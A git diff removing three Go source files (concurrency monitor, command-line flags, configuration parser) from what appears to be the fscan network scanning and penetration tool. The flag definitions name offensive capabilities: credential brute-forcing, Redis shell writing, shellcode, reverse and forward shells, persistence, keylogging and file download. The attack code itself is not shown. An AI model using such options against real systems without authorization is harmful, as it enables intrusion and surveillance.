diff --git a/Common/ConcurrencyMonitor.go b/Common/ConcurrencyMonitor.go
deleted file mode 100644
index 8a88a0d..0000000
--- a/Common/ConcurrencyMonitor.go
+++ /dev/null
@@ -1,137 +0,0 @@
-package common
-
-import (
- "fmt"
- "sync"
- "sync/atomic"
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-/*
-ConcurrencyMonitor.go - 并发监控器
-
-监控两个层级的并发:
-1. 主扫描器线程数 (-t 参数控制)
-2. 插件内连接线程数 (-mt 参数控制)
-*/
-
-// ConcurrencyMonitor 并发监控器
-type ConcurrencyMonitor struct {
- // 主扫描器层级
- activePluginTasks int64 // 当前活跃的插件任务数
- totalPluginTasks int64 // 总插件任务数
-
- // 插件内连接层级 (每个插件的连接线程数)
- pluginConnections sync.Map // map[string]*PluginConnectionInfo
-
- mu sync.RWMutex
-}
-
-// PluginConnectionInfo 单个插件的连接信息
-type PluginConnectionInfo struct {
- PluginName string // 插件名称
- Target string // 目标地址
- ActiveConnections int64 // 当前活跃连接数
- TotalConnections int64 // 总连接数
-}
-
-var (
- globalConcurrencyMonitor *ConcurrencyMonitor
- concurrencyMutex sync.Once
-)
-
-// GetConcurrencyMonitor 获取全局并发监控器
-func GetConcurrencyMonitor() *ConcurrencyMonitor {
- concurrencyMutex.Do(func() {
- globalConcurrencyMonitor = &ConcurrencyMonitor{
- activePluginTasks: 0,
- totalPluginTasks: 0,
- }
- })
- return globalConcurrencyMonitor
-}
-
-// =============================================================================
-// 主扫描器层级监控
-// =============================================================================
-
-// StartPluginTask 开始插件任务
-func (m *ConcurrencyMonitor) StartPluginTask() {
- atomic.AddInt64(&m.activePluginTasks, 1)
- atomic.AddInt64(&m.totalPluginTasks, 1)
-}
-
-// FinishPluginTask 完成插件任务
-func (m *ConcurrencyMonitor) FinishPluginTask() {
- atomic.AddInt64(&m.activePluginTasks, -1)
-}
-
-// GetPluginTaskStats 获取插件任务统计
-func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
- return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks)
-}
-
-// =============================================================================
-// 插件内连接层级监控
-// =============================================================================
-
-// StartConnection 开始连接
-func (m *ConcurrencyMonitor) StartConnection(pluginName, target string) {
- key := fmt.Sprintf("%s@%s", pluginName, target)
-
- value, _ := m.pluginConnections.LoadOrStore(key, &PluginConnectionInfo{
- PluginName: pluginName,
- Target: target,
- })
-
- info := value.(*PluginConnectionInfo)
- atomic.AddInt64(&info.ActiveConnections, 1)
- atomic.AddInt64(&info.TotalConnections, 1)
-}
-
-// FinishConnection 完成连接
-func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
- key := fmt.Sprintf("%s@%s", pluginName, target)
-
- if value, ok := m.pluginConnections.Load(key); ok {
- info := value.(*PluginConnectionInfo)
- atomic.AddInt64(&info.ActiveConnections, -1)
- }
-}
-
-// 已移除未使用的 GetConnectionStats 方法
-
-// GetTotalActiveConnections 获取总活跃连接数
-func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
- var total int64
-
- m.pluginConnections.Range(func(key, value interface{}) bool {
- info := value.(*PluginConnectionInfo)
- total += atomic.LoadInt64(&info.ActiveConnections)
- return true
- })
-
- return total
-}
-
-// 已移除未使用的 Reset 方法
-
-// GetConcurrencyStatus 获取并发状态字符串
-func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
- activePlugins, _ := m.GetPluginTaskStats()
- totalConnections := m.GetTotalActiveConnections()
-
- if activePlugins == 0 && totalConnections == 0 {
- return ""
- }
-
- if totalConnections == 0 {
- return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
- }
-
- return fmt.Sprintf("%s:%d %s:%d",
- i18n.GetText("concurrency_plugin"), activePlugins,
- i18n.GetText("concurrency_connection"), totalConnections)
-}
-
-// 已移除未使用的 GetDetailedStatus 方法
\ No newline at end of file
diff --git a/Common/Flag.go b/Common/Flag.go
deleted file mode 100644
index e2dbde2..0000000
--- a/Common/Flag.go
+++ /dev/null
@@ -1,419 +0,0 @@
-package common
-
-import (
- "flag"
- "fmt"
- "os"
- "strings"
-
- "github.com/fatih/color"
- "github.com/shadow1ng/fscan/common/config"
- "github.com/shadow1ng/fscan/common/i18n"
-)
-
-// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
-var (
- ExcludeHosts string
- Ports string
- ExcludePorts string
- AddPorts string
- HostsFile string
- PortsFile string
-
- // 本地插件列表(由外部初始化)
- LocalPluginsList []string
-
- ModuleThreadNum int
- GlobalTimeout int64
- EnableFingerprint bool
-
- AddUsers string
- AddPasswords string
- UsersFile string
- PasswordsFile string
- HashFile string
- HashValue string
- Domain string
- SshKeyPath string
-
- TargetURL string
- URLsFile string
- Cookie string
- WebTimeout int64
- UserAgent string
- Accept string
-
- PocPath string
- PocFull bool
- DnsLog bool
- PocNum int
- DisablePocScan bool
-
- RedisFile string
- RedisShell string
- RedisWritePath string
- RedisWriteContent string
- RedisWriteFile string
-
- DisableBrute bool
- MaxRetries int
-
- DisableSave bool
- Silent bool
- DisableProgress bool
-
- Shellcode string
-
- // 反弹Shell相关变量
- ReverseShellTarget string
- ReverseShellActive bool // 反弹Shell是否处于活跃状态
-
- // SOCKS5代理相关变量
- Socks5ProxyPort int // SOCKS5代理监听端口
- Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
-
- // 正向Shell相关变量
- ForwardShellPort int // 正向Shell监听端口
- ForwardShellActive bool // 正向Shell是否处于活跃状态
-
- // Linux持久化相关变量
- PersistenceTargetFile string // 持久化目标文件路径
-
- // Windows持久化相关变量
- WinPEFile string // Windows PE文件路径
-
- // 键盘记录相关变量
- KeyloggerOutputFile string // 键盘记录输出文件
-
- // 文件下载相关变量
- DownloadURL string // 下载文件的URL
- DownloadSavePath string // 下载文件保存路径
-
- // Parse.go 使用的变量
- HostPort []string
- URLs []string
- HashValues []string
- HashBytes [][]byte
-)
-
-// Pocinfo POC信息变量
-var Pocinfo config.PocInfo
-
-func Banner() {
- // 定义暗绿色系
- colors := []color.Attribute{
- color.FgGreen, // 基础绿
- color.FgHiGreen, // 亮绿
- }
-
- lines := []string{
- " ___ _ ",
- " / _ \\ ___ ___ _ __ __ _ ___| | __ ",
- " / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
- "/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
- "\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
- }
-
- // 获取最长行的长度
- maxLength := 0
- for _, line := range lines {
- if len(line) > maxLength {
- maxLength = len(line)
- }
- }
-
- // 创建边框
- topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
- bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
-
- // 打印banner
- fmt.Println(topBorder)
-
- for lineNum, line := range lines {
- fmt.Print("│ ")
- // 使用对应的颜色打印每个字符
- c := color.New(colors[lineNum%2])
- c.Print(line)
- // 补齐空格
- padding := maxLength - len(line)
- fmt.Printf("%s │\n", strings.Repeat(" ", padding))
- }
-
- fmt.Println(bottomBorder)
-
- // 打印版本信息
- c := color.New(colors[1])
- c.Printf(" Fscan Version: %s\n\n", version)
-}
-
-// Flag 解析命令行参数并配置扫描选项
-func Flag(Info *HostInfo) {
- Banner()
-
- // 预处理语言设置 - 在定义flag之前检查lang参数
- preProcessLanguage()
-
- // ═════════════════════════════════════════════════
- // 目标配置参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
- flag.StringVar(&ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
- flag.StringVar(&Ports, "p", MainPorts, i18n.GetText("flag_ports"))
- flag.StringVar(&ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
- flag.StringVar(&HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
- flag.StringVar(&PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
-
- // ═════════════════════════════════════════════════
- // 扫描控制参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
- flag.IntVar(&ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
- flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
- flag.IntVar(&ModuleThreadNum, "mt", 50, i18n.GetText("flag_module_thread_num"))
- flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
- // LiveTop 参数已移除,改为智能控制
- flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
- flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint"))
- flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
- flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
-
- // ═════════════════════════════════════════════════
- // 认证与凭据参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&Username, "user", "", i18n.GetText("flag_username"))
- flag.StringVar(&Password, "pwd", "", i18n.GetText("flag_password"))
- flag.StringVar(&AddUsers, "usera", "", i18n.GetText("flag_add_users"))
- flag.StringVar(&AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
- flag.StringVar(&UsersFile, "userf", "", i18n.GetText("flag_users_file"))
- flag.StringVar(&PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
- flag.StringVar(&HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
- flag.StringVar(&HashValue, "hash", "", i18n.GetText("flag_hash_value"))
- flag.StringVar(&Domain, "domain", "", i18n.GetText("flag_domain")) // SMB扫描用
- flag.StringVar(&SshKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key")) // SSH扫描用
-
- // ═════════════════════════════════════════════════
- // Web扫描参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&TargetURL, "u", "", i18n.GetText("flag_target_url"))
- flag.StringVar(&URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
- flag.StringVar(&Cookie, "cookie", "", i18n.GetText("flag_cookie"))
- flag.Int64Var(&WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
- flag.StringVar(&HttpProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
- flag.StringVar(&Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
-
- // ═════════════════════════════════════════════════
- // POC测试参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
- flag.StringVar(&Pocinfo.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
- flag.BoolVar(&PocFull, "full", false, i18n.GetText("flag_poc_full"))
- flag.BoolVar(&DnsLog, "dns", false, i18n.GetText("flag_dns_log"))
- flag.IntVar(&PocNum, "num", 20, i18n.GetText("flag_poc_num"))
- flag.BoolVar(&DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
-
- // ═════════════════════════════════════════════════
- // Redis利用参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
- flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
- flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
- flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
- flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
-
- // ═════════════════════════════════════════════════
- // 暴力破解控制参数
- // ═════════════════════════════════════════════════
- flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
- flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
-
- // ═════════════════════════════════════════════════
- // 输出与显示控制参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
- flag.StringVar(&OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
- flag.BoolVar(&DisableSave, "no", false, i18n.GetText("flag_disable_save"))
- flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
- flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
- flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
- flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
-
- // ═════════════════════════════════════════════════
- // 其他参数
- // ═════════════════════════════════════════════════
- flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
- flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
- flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
- flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
- flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
- flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
- flag.StringVar(&KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
-
- // 文件下载插件参数
- flag.StringVar(&DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
- flag.StringVar(&DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
- flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
-
- // 帮助参数
- var showHelp bool
- flag.BoolVar(&showHelp, "help", false, i18n.GetText("flag_help"))
-
- // 解析命令行参数
- parseCommandLineArgs()
-
- // 设置语言
- i18n.SetLanguage(Language)
-
-
- // 更新进度条显示状态
- ShowProgress = !DisableProgress
-
- // 同步配置到core包
- SyncToCore()
-
- // 如果显示帮助或者没有提供目标,显示帮助信息并退出
- if showHelp || shouldShowHelp(Info) {
- flag.Usage()
- os.Exit(0)
- }
-}
-
-// parseCommandLineArgs 处理来自环境变量和命令行的参数
-func parseCommandLineArgs() {
- // 首先检查环境变量中的参数
- envArgsString := os.Getenv("FS_ARGS")
- if envArgsString != "" {
- // 解析环境变量参数 (跨平台支持)
- envArgs, err := parseEnvironmentArgs(envArgsString)
- if err == nil && len(envArgs) > 0 {
- flag.CommandLine.Parse(envArgs)
- os.Unsetenv("FS_ARGS") // 使用后清除环境变量
- return
- }
- // 如果环境变量解析失败,继续使用命令行参数
- }
-
- // 解析命令行参数
- flag.Parse()
-
- // 检查参数冲突
- checkParameterConflicts()
-
- // 额外的本地插件互斥检查
- // 需要在解析后检查,因为Host是通过Info.Host设置的
- // 这个检查在app/initializer.go中进行
-}
-
-// parseEnvironmentArgs 安全地解析环境变量中的参数
-func parseEnvironmentArgs(argsString string) ([]string, error) {
- if strings.TrimSpace(argsString) == "" {
- return nil, fmt.Errorf("empty arguments string")
- }
-
- // 使用更安全的参数分割方法
- var args []string
- var currentArg strings.Builder
- inQuote := false
- quoteChar := ' '
-
- for _, char := range argsString {
- switch {
- case char == '"' || char == '\'':
- if inQuote && char == quoteChar {
- inQuote = false
- } else if !inQuote {
- inQuote = true
- quoteChar = char
- } else {
- currentArg.WriteRune(char)
- }
- case char == ' ' && !inQuote:
- if currentArg.Len() > 0 {
- args = append(args, currentArg.String())
- currentArg.Reset()
- }
- default:
- currentArg.WriteRune(char)
- }
- }
-
- if currentArg.Len() > 0 {
- args = append(args, currentArg.String())
- }
-
- return args, nil
-}
-
-// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
-func preProcessLanguage() {
- // 遍历命令行参数查找-lang参数
- for i, arg := range os.Args {
- if arg == "-lang" && i+1 < len(os.Args) {
- lang := os.Args[i+1]
- if lang == "en" || lang == "zh" {
- Language = lang
- i18n.SetLanguage(lang)
- return
- }
- } else if strings.HasPrefix(arg, "-lang=") {
- lang := strings.TrimPrefix(arg, "-lang=")
- if lang == "en" || lang == "zh" {
- Language = lang
- i18n.SetLanguage(lang)
- return
- }
- }
- }
-
- // 检查环境变量
- envLang := os.Getenv("FS_LANG")
- if envLang == "en" || envLang == "zh" {
- Language = envLang
- i18n.SetLanguage(envLang)
- }
-}
-
-// shouldShowHelp 检查是否应该显示帮助信息
-func shouldShowHelp(Info *HostInfo) bool {
- // 检查是否提供了扫描目标
- hasTarget := Info.Host != "" || TargetURL != ""
-
- // 本地模式需要指定插件才算有效目标
- if LocalMode && LocalPlugin != "" {
- hasTarget = true
- }
-
- // 如果没有提供任何扫描目标,则显示帮助
- if !hasTarget {
- return true
- }
-
- return false
-}
-
-// checkParameterConflicts 检查参数冲突和兼容性
-func checkParameterConflicts() {
- // 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
- if AliveOnly && ScanMode == "icmp" {
- LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
- }
-
- // 检查本地插件参数
- if LocalPlugin != "" {
- // 检查是否包含分隔符(确保只能指定单个插件)
- invalidChars := []string{",", ";", " ", "|", "&"}
- for _, char := range invalidChars {
- if strings.Contains(LocalPlugin, char) {
- fmt.Printf("错误: 本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件\n", char)
- LogError(fmt.Sprintf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char))
- os.Exit(1)
- }
- }
-
-
- // 自动启用本地模式
- LocalMode = true
-
- // 验证本地插件名称 - 使用统一插件系统验证
- // 这里不进行验证,让运行时的插件系统来处理不存在的插件
- }
-}
diff --git a/Common/Parse.go b/Common/Parse.go
deleted file mode 100644
index ad8d2e3..0000000
--- a/Common/Parse.go
+++ /dev/null
@@ -1,503 +0,0 @@
-package common
-
-import (
- "fmt"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common/i18n"
- "github.com/shadow1ng/fscan/common/logging"
- "github.com/shadow1ng/fscan/common/parsers"
- "github.com/shadow1ng/fscan/common/utils"
-)
-
-// ParsedConfiguration 解析后的完整配置(兼容旧代码)
-type ParsedConfiguration struct {
- *parsers.ParsedConfig
-}
-
-// Parser 主解析器
-type Parser struct {
- mu sync.RWMutex
- fileReader *parsers.FileReader
- credentialParser *parsers.CredentialParser
- targetParser *parsers.TargetParser
- networkParser *parsers.NetworkParser
- validationParser *parsers.ValidationParser
- options *parsers.ParserOptions
- initialized bool
-}
-
-// NewParser 创建新的解析器实例
-func NewParser(options *parsers.ParserOptions) *Parser {
- if options == nil {
- options = parsers.DefaultParserOptions()
- }
-
- // 创建文件读取器
- fileReader := parsers.NewFileReader(nil)
-
- // 创建各个子解析器
- credentialParser := parsers.NewCredentialParser(fileReader, nil)
- targetParser := parsers.NewTargetParser(fileReader, nil)
- networkParser := parsers.NewNetworkParser(nil)
- validationParser := parsers.NewValidationParser(nil)
-
- return &Parser{
- fileReader: fileReader,
- credentialParser: credentialParser,
- targetParser: targetParser,
- networkParser: networkParser,
- validationParser: validationParser,
- options: options,
- initialized: true,
- }
-}
-
-// 全局解析器实例
-var globalParser *Parser
-var initOnce sync.Once
-
-// getGlobalParser 获取全局解析器实例
-func getGlobalParser() *Parser {
- initOnce.Do(func() {
- globalParser = NewParser(nil)
- })
- return globalParser
-}
-
-// Parse 主解析函数 - 保持与原版本兼容的接口
-func Parse(Info *HostInfo) error {
- // 首先应用LogLevel配置到日志系统
- applyLogLevel()
-
- parser := getGlobalParser()
-
- // 构建输入参数
- input := &AllInputs{
- Credential: &parsers.CredentialInput{
- Username: Username,
- Password: Password,
- AddUsers: AddUsers,
- AddPasswords: AddPasswords,
- HashValue: HashValue,
- SshKeyPath: SshKeyPath,
- Domain: Domain,
- UsersFile: UsersFile,
- PasswordsFile: PasswordsFile,
- HashFile: HashFile,
- },
- Target: &parsers.TargetInput{
- Host: Info.Host,
- HostsFile: HostsFile,
- ExcludeHosts: ExcludeHosts,
- Ports: Ports,
- PortsFile: PortsFile,
- AddPorts: AddPorts,
- ExcludePorts: ExcludePorts,
- TargetURL: TargetURL,
- URLsFile: URLsFile,
- HostPort: HostPort,
- LocalMode: LocalMode,
- },
- Network: &parsers.NetworkInput{
- HttpProxy: HttpProxy,
- Socks5Proxy: Socks5Proxy,
- Timeout: Timeout,
- WebTimeout: WebTimeout,
- DisablePing: DisablePing,
- DnsLog: DnsLog,
- UserAgent: UserAgent,
- Cookie: Cookie,
- },
- }
-
- // 执行解析
- result, err := parser.ParseAll(input)
- if err != nil {
- return fmt.Errorf(i18n.GetText("parse_error_config_failed", err))
- }
-
- // 更新全局变量以保持兼容性
- if err := updateGlobalVariables(result.Config, Info); err != nil {
- return fmt.Errorf(i18n.GetText("parse_error_update_vars_failed", err))
- }
-
- // 报告警告
- for _, warning := range result.Warnings {
- LogBase(warning)
- }
-
- // 显示解析结果摘要
- showParseSummary(result.Config)
-
- // 同步配置到core包
- SyncToCore()
-
- return nil
-}
-
-// AllInputs 所有输入参数的集合
-type AllInputs struct {
- Credential *parsers.CredentialInput `json:"credential"`
- Target *parsers.TargetInput `json:"target"`
- Network *parsers.NetworkInput `json:"network"`
-}
-
-// ParseAll 解析所有配置
-func (p *Parser) ParseAll(input *AllInputs) (*parsers.ParseResult, error) {
- if input == nil {
- return nil, fmt.Errorf(i18n.GetText("parse_error_empty_input"))
- }
-
- p.mu.Lock()
- defer p.mu.Unlock()
-
- if !p.initialized {
- return nil, fmt.Errorf(i18n.GetText("parse_error_parser_not_init"))
- }
-
- startTime := time.Now()
- result := &parsers.ParseResult{
- Config: &parsers.ParsedConfig{},
- Success: true,
- }
-
- var allErrors []error
- var allWarnings []string
-
- // 解析凭据配置
- if input.Credential != nil {
- credResult, err := p.credentialParser.Parse(input.Credential, p.options)
- if err != nil {
- allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_credential_failed", err)))
- } else {
- result.Config.Credentials = credResult.Config.Credentials
- allErrors = append(allErrors, credResult.Errors...)
- allWarnings = append(allWarnings, credResult.Warnings...)
- }
- }
-
- // 解析目标配置
- if input.Target != nil {
- targetResult, err := p.targetParser.Parse(input.Target, p.options)
- if err != nil {
- allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_target_failed", err)))
- } else {
- result.Config.Targets = targetResult.Config.Targets
- allErrors = append(allErrors, targetResult.Errors...)
- allWarnings = append(allWarnings, targetResult.Warnings...)
- }
- }
-
- // 解析网络配置
- if input.Network != nil {
- networkResult, err := p.networkParser.Parse(input.Network, p.options)
- if err != nil {
- allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_network_failed", err)))
- } else {
- result.Config.Network = networkResult.Config.Network
- allErrors = append(allErrors, networkResult.Errors...)
- allWarnings = append(allWarnings, networkResult.Warnings...)
- }
- }
-
- // 执行验证
- validationInput := &parsers.ValidationInput{
- ScanMode: ScanMode,
- LocalMode: LocalMode,
- HasHosts: input.Target != nil && (input.Target.Host != "" || input.Target.HostsFile != ""),
- HasURLs: input.Target != nil && (input.Target.TargetURL != "" || input.Target.URLsFile != ""),
- HasPorts: input.Target != nil && (input.Target.Ports != "" || input.Target.PortsFile != ""),
- HasProxy: input.Network != nil && (input.Network.HttpProxy != "" || input.Network.Socks5Proxy != ""),
- DisablePing: input.Network != nil && input.Network.DisablePing,
- HasCredentials: input.Credential != nil && (input.Credential.Username != "" || input.Credential.UsersFile != ""),
- }
-
- validationResult, err := p.validationParser.Parse(validationInput, result.Config, p.options)
- if err != nil {
- allErrors = append(allErrors, fmt.Errorf(i18n.GetText("parse_error_validation_failed", err)))
- } else {
- result.Config.Validation = validationResult.Config.Validation
- allErrors = append(allErrors, validationResult.Errors...)
- allWarnings = append(allWarnings, validationResult.Warnings...)
- }
-
- // 汇总结果
- result.Errors = allErrors
- result.Warnings = allWarnings
- result.ParseTime = time.Since(startTime)
- result.Success = len(allErrors) == 0
-
- return result, nil
-}
-
-// updateGlobalVariables 更新全局变量以保持向后兼容性
-func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
- if config == nil {
- return nil
- }
-
- // 更新凭据相关全局变量
- if config.Credentials != nil {
- if len(config.Credentials.Usernames) > 0 {
- // 更新全局用户字典
- for serviceName := range Userdict {
- Userdict[serviceName] = config.Credentials.Usernames
- }
- }
-
- if len(config.Credentials.Passwords) > 0 {
- Passwords = config.Credentials.Passwords
- }
-
- if len(config.Credentials.HashValues) > 0 {
- HashValues = config.Credentials.HashValues
- }
-
- if len(config.Credentials.HashBytes) > 0 {
- HashBytes = config.Credentials.HashBytes
- }
- }
-
- // 更新目标相关全局变量
- if config.Targets != nil {
- if len(config.Targets.Hosts) > 0 {
- // 如果info.Host已经有值,说明解析结果来自info.Host,不需要重复设置
- // 只有当info.Host为空时才设置(如从文件读取的情况)
- if info.Host == "" {
- info.Host = joinStrings(config.Targets.Hosts, ",")
- }
- }
-
- if len(config.Targets.URLs) > 0 {
- URLs = config.Targets.URLs
- // 如果info.Url为空且只有一个URL,将其设置到info.Url
- if info.Url == "" && len(config.Targets.URLs) == 1 {
- info.Url = config.Targets.URLs[0]
- }
- }
-
- if len(config.Targets.Ports) > 0 {
- Ports = joinInts(config.Targets.Ports, ",")
- }
-
- if len(config.Targets.ExcludePorts) > 0 {
- ExcludePorts = joinInts(config.Targets.ExcludePorts, ",")
- }
-
- if len(config.Targets.HostPorts) > 0 {
- HostPort = config.Targets.HostPorts
- }
- }
-
- // 更新网络相关全局变量
- if config.Network != nil {
- if config.Network.HttpProxy != "" {
- HttpProxy = config.Network.HttpProxy
- }
-
- if config.Network.Socks5Proxy != "" {
- Socks5Proxy = config.Network.Socks5Proxy
- }
-
- if config.Network.Timeout > 0 {
- Timeout = int64(config.Network.Timeout.Seconds())
- }
-
- if config.Network.WebTimeout > 0 {
- WebTimeout = int64(config.Network.WebTimeout.Seconds())
- }
-
- if config.Network.UserAgent != "" {
- UserAgent = config.Network.UserAgent
- }
-
- if config.Network.Cookie != "" {
- Cookie = config.Network.Cookie
- }
-
- DisablePing = config.Network.DisablePing
- DnsLog = config.Network.EnableDNSLog
- }
-
- return nil
-}
-
-// RemoveDuplicate 去重函数 - 恢复原始高效实现
-func RemoveDuplicate(old []string) []string {
- if len(old) <= 1 {
- return old
- }
-
- temp := make(map[string]struct{}, len(old))
- result := make([]string, 0, len(old))
-
- for _, item := range old {
- if _, exists := temp[item]; !exists {
- temp[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
-
-// 辅助函数
-
-// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池
-func joinStrings(slice []string, sep string) string {
- return utils.JoinStrings(slice, sep)
-}
-
-// joinInts 连接整数切片 - 优化版本使用字符串构建器池
-func joinInts(slice []int, sep string) string {
- return utils.JoinInts(slice, sep)
-}
-
-// showParseSummary 显示解析结果摘要
-func showParseSummary(config *parsers.ParsedConfig) {
- if config == nil {
- return
- }
-
- // 显示目标信息
- if config.Targets != nil {
- if len(config.Targets.Hosts) > 0 {
- if len(config.Targets.Hosts) <= 5 {
- LogBase(i18n.GetText("target_hosts_found", joinStrings(config.Targets.Hosts, ", ")))
- } else {
- LogBase(i18n.GetText("target_hosts_count", joinStrings(config.Targets.Hosts[:5], ", "), len(config.Targets.Hosts)))
- }
- }
-
- if len(config.Targets.URLs) > 0 {
- if len(config.Targets.URLs) <= 3 {
- LogBase(i18n.GetText("target_urls_found", joinStrings(config.Targets.URLs, ", ")))
- } else {
- LogBase(i18n.GetText("target_urls_count", joinStrings(config.Targets.URLs[:3], ", "), len(config.Targets.URLs)))
- }
- }
-
- if len(config.Targets.Ports) > 0 {
- if len(config.Targets.Ports) <= 20 {
- LogBase(i18n.GetText("target_ports_found", joinInts(config.Targets.Ports, ", ")))
- } else {
- LogBase(i18n.GetText("target_ports_count", joinInts(config.Targets.Ports[:20], ", "), len(config.Targets.Ports)))
- }
- }
-
- if len(config.Targets.ExcludePorts) > 0 {
- LogBase(i18n.GetText("target_exclude_ports", joinInts(config.Targets.ExcludePorts, ", ")))
- }
-
- if config.Targets.LocalMode {
- LogBase(i18n.GetText("target_local_mode"))
- }
- }
-
- // 显示扫描配置
- LogBase(i18n.GetText("scan_config_thread_num", ThreadNum))
- LogBase(i18n.GetText("scan_config_timeout", Timeout))
- LogBase(i18n.GetText("scan_config_module_thread_num", ModuleThreadNum))
- LogBase(i18n.GetText("scan_config_global_timeout", GlobalTimeout))
-
- // 显示网络配置
- if config.Network != nil {
- if config.Network.HttpProxy != "" {
- LogBase(i18n.GetText("network_http_proxy", config.Network.HttpProxy))
- }
- if config.Network.Socks5Proxy != "" {
- LogBase(i18n.GetText("network_socks5_proxy", config.Network.Socks5Proxy))
- }
- if config.Network.WebTimeout > 0 {
- LogBase(i18n.GetText("network_web_timeout", config.Network.WebTimeout))
- }
- }
-
- // 显示凭据信息
- if config.Credentials != nil {
- if len(config.Credentials.Usernames) > 0 {
- LogBase(i18n.GetText("credential_username_count", len(config.Credentials.Usernames)))
- }
- if len(config.Credentials.Passwords) > 0 {
- LogBase(i18n.GetText("credential_password_count", len(config.Credentials.Passwords)))
- }
- if len(config.Credentials.HashValues) > 0 {
- LogBase(i18n.GetText("credential_hash_count", len(config.Credentials.HashValues)))
- }
- }
-}
-
-// applyLogLevel 应用LogLevel配置到日志系统
-func applyLogLevel() {
- if LogLevel == "" {
- return // 使用默认级别
- }
-
- // 根据LogLevel字符串获取对应的日志级别
- var level logging.LogLevel
- switch LogLevel {
- case LogLevelAll:
- level = logging.LevelAll
- case LogLevelError:
- level = logging.LevelError
- case LogLevelBase:
- level = logging.LevelBase
- case LogLevelInfo:
- level = logging.LevelInfo
- case LogLevelSuccess:
- level = logging.LevelSuccess
- case LogLevelDebug:
- level = logging.LevelDebug
- case LogLevelInfoSuccess:
- level = logging.LevelInfoSuccess
- case LogLevelBaseInfoSuccess:
